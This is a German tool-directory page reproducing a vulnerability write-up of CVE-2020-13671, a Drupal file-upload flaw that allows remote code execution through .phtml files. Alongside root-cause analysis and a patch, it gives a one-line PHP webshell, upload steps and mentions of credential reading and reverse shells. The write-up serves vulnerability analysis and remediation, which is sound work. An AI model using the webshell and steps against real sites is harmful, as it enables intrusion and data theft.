Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-13671-old — CVE-2020-13671 - Drupal-RCE über Datei-Upload: Schwachstellenanalyse und PoC | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2020-13671-old
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - Drupal-RCE über Datei-Upload: Schwachstellenanalyse und PoC

Repository anzeigen
vor 3 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-13671

RCE per Datei-Upload — Drupal Core

Software: Drupal Core 8.7.5 (Betroffen: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Hoch)
CWE: CWE-434 — Uneingeschränkter Upload einer Datei mit gefährlichem Typ
CISA KEV: Ja — Bekannte ausgenutzte Schwachstelle
Advisory: SA-CORE-2020-012


Was ist Drupal

Drupal ist ein Open-Source-Content-Management-System (CMS), das in PHP geschrieben ist, ähnlich wie WordPress oder Joomla, aber eher auf den Aufbau komplexerer Systeme ausgerichtet ist — Unternehmenswebsites, mehrsprachige Plattformen. Drupal verwendet eine modulare Architektur, die es ermöglicht, die Funktionalität durch Aktivieren/Deaktivieren verfügbarer Module oder durch Installation zusätzlicher Module aus der Community zu erweitern.

Eine der grundlegenden Funktionen eines jeden CMS ist es, Benutzern das Hochladen von Dateien zu ermöglichen — Profil-Avatare, angehängte Dokumente, Anhänge in Artikeln. Drupal speichert diese Dateien im Verzeichnis sites/default/files/ und stellt sie direkt über den Webserver (Apache oder Nginx) bereit.

⇒ Dies schafft eine klare Angriffsfläche: Wenn es einem Angreifer gelingt, eine PHP-Datei in dieses Verzeichnis hochzuladen, führt der Webserver sie aus, sobald sie über eine eingehende Anfrage aufgerufen wird.

Um dies zu verhindern, baut Drupal mehrere Verteidigungsebenen auf: Validierung von Dateiendungen, Umbenennen gefährlicher Dateien, Platzieren einer .htaccess, um die Skriptausführung im Upload-Verzeichnis zu blockieren. Aber in Version 8.7.5 nutzen Angreifer genau diesen blinden Fleck in diesen Ebenen aus.

Ausnutzungsbedingungen

Diese Schwachstelle erfordert ein Konto mit Datei-Upload-Berechtigungen. Standardmäßig haben normale Benutzer (Authentifiziert) in Drupal 8.7.5 nur die Berechtigung, Inhalte anzusehen und Kommentare zu posten — keine Berechtigung, Artikel zu erstellen oder Dateien hochzuladen.

KontoAusnutzbar?Erklärung
AdminJaVolle Upload-Berechtigungen
Editor / InhaltserstellerJaFalls die Berechtigung „Inhalt erstellen“ mit Upload durch Admin erteilt wurde
Authentifizierter Benutzer (Standard)NeinHat standardmäßig keine Berechtigung, Inhalte zu erstellen oder hochzuladen
Anonym (nicht angemeldet)NeinKeine Upload-Berechtigung

In der Praxis gewähren jedoch viele Drupal-Seiten normalen Benutzern die Berechtigung zur Inhaltserstellung (Foren, Community-Blogs, Nachrichtenseiten, die Artikeleinreichungen ermöglichen). In solchen Fällen muss sich ein Angreifer nur ein Konto registrieren, um die Schwachstelle auszunutzen.

Angriffsablauf:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Grundursache ( Root Cause )

In der Datei core/modules/file/file.module gibt es einen einzigen Regex, der festlegt, welche Dateien als ausführbar gelten:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Dieser Regex listet 7 Dateiendungen auf: phar, php, pl, py, cgi, asp, js. Jede Datei mit einer Dateiendung, die in dieser Liste vorkommt, wird von Drupal automatisch um .txt ergänzt — wodurch die Ausführbarkeit neutralisiert wird.

Die PHP-Engine verarbeitet jedoch nicht nur .php-Dateien. Abhängig von der Webserver-Konfiguration erkennt und führt sie auch andere Dateiendungen aus:

DateiendungBedeutungIm Regex enthalten?
.phpPHP-StandardJa
.phtmlAlternative PHP-VorlageNein
.php5PHP-5-HandlerNein
.phtPHP-VorlageNein
.phpsPHP-QuellcodeNein
.shtmlServer-seitige IncludesNein

5 PHP-Dateiendungsvarianten fehlen vollständig im Regex. Das bedeutet: Eine Datei namens shell.phtml, die an Drupal gesendet wird → Regex stimmt nicht überein → wird nicht umbenannt → wird unter ihrem ursprünglichen Namen im Upload-Verzeichnis gespeichert → der Webserver sieht .phtml → führt sie als PHP aus → der Angreifer erreicht RCE. Das ist die Grundursache: Drupal verwendete eine Blacklist, um gefährliche Dateiendungen zu blockieren, aber diese Liste war unvollständig.

Analyse der einzelnen Verteidigungsebenen

Wenn ein Benutzer eine Datei hochlädt, leitet Drupal sie vor dem Speichern durch 3 Validierungsfunktionen. Im Folgenden wird analysiert, warum alle 3 bei .phtml versagen.

Ebene 1 — file_munge_filename() (core/includes/file.inc)

Zweck: Gefährliche Dateiendungen erkennen, die in der Mitte des Dateinamens liegen, und _ anhängen, um sie zu unterbrechen. So funktioniert die Funktion:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Zum Beispiel bei shell.phtml:

  • explode teilt in ["shell", "phtml"] auf
  • shift nimmt "shell", übrig bleibt ["phtml"]
  • pop nimmt "phtml", übrig bleibt []
  • Das mittlere Array ist leer → foreach wird nicht ausgeführt
  • Gibt "shell.phtml" unverändert zurück

Wenn die Datei jedoch nur eine einzige Dateiendung hat, greift sie nicht ein. Diese Funktion ist also nur dafür ausgelegt, Dateien mit mehreren Dateiendungen zu behandeln.

Ebene 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Dies ist die Hauptverteidigungsebene. Code in Zeile 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Wenn der Dateiname dem Regex entspricht → MIME auf text/plain ändern und .txt am Ende anhängen.

Bei shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') gibt 0 zurück
  • Keine Übereinstimmung → der if-Block wird nicht betreten → die Datei behält ihren ursprünglichen Namen Somit hätte dieser Abschnitt gefährliche Dateien blockieren sollen, aber weil der Regex nicht weiß, dass .phtml gefährlich ist, rutscht sie direkt durch.

Ebene 3 — .htaccess im Upload-Verzeichnis

Drupal platziert eine .htaccess-Datei in sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

Die Direktive php_flag engine off schaltet die PHP-Engine für das gesamte Verzeichnis ab, gilt jedoch nur für mod_php5. Drupal 8.7.5 läuft auf PHP 7, was bedeutet, dass mod_php7 aktiv und nicht deaktiviert ist.

Und .htaccess hat außerdem 3 weitere Schwächen:

  • Nginx liest .htaccess nicht — diese Datei ist auf Nginx völlig wirkungslos
  • Apache mit AllowOverride None konfiguriert → .htaccess wird ignoriert
  • Server, die PHP-FPM statt mod_php verwenden → die Direktive php_flag hat keine Wirkung

Ausnutzung

Schritt 1 — Webshell erstellen

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Schritt 2 — Datei hochladen

Melden Sie sich bei Drupal mit einem Konto an, das Upload-Berechtigungen besitzt → Inhalt → Inhalt hinzufügen → Artikel → im Bildfeld die Datei webshell.phtml auswählen → Hochladen.

Drupal akzeptiert die Datei, benennt sie nicht um und speichert sie unter ihrem ursprünglichen Namen in sites/default/files/.

image.png

Schritt 3 — Webshell ausführen

Danach den Shell-Aufruf mit whoami ausführen:

image.png

Damit haben wir erfolgreich RCE als www-data erreicht.

Weiter testen, um Anmeldedaten anzuzeigen:

image.png

Ergebnis

Der Angreifer kann settings.php mit den Datenbank-Anmeldedaten lesen, die gesamte DB dumpen, eine Reverse Shell installieren oder Privilegien auf root ausweiten.

Behebung

Regex aktualisieren — die 5 fehlenden Dateiendungen hinzufügen:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

.htaccess aktualisieren — Deaktivierung für mod_php7 hinzufügen:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

Der Patch funktioniert, verlässt sich aber weiterhin auf eine Blacklist. Wenn in Zukunft neue Dateiendungen auftauchen (.php8, .phpt), muss der Regex erneut aktualisiert werden. Eine Whitelist — die nur bekannte sichere Dateiendungen zulässt — wäre ein gründlicherer Ansatz.

Zusammenfassung

Verwundbare Dateicore/modules/file/file.module Zeile 28
GrundursacheDer Regex-Blacklist fehlen .phtml, .php5, .pht, .phps, .shtml
AuswirkungUpload .phtml → Server führt aus → RCE
3 umgangene Verteidigungsebenenfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
Patch5 Dateiendungen zum Regex hinzufügen + mod_php7 in .htaccess deaktivieren
Tool herunterladen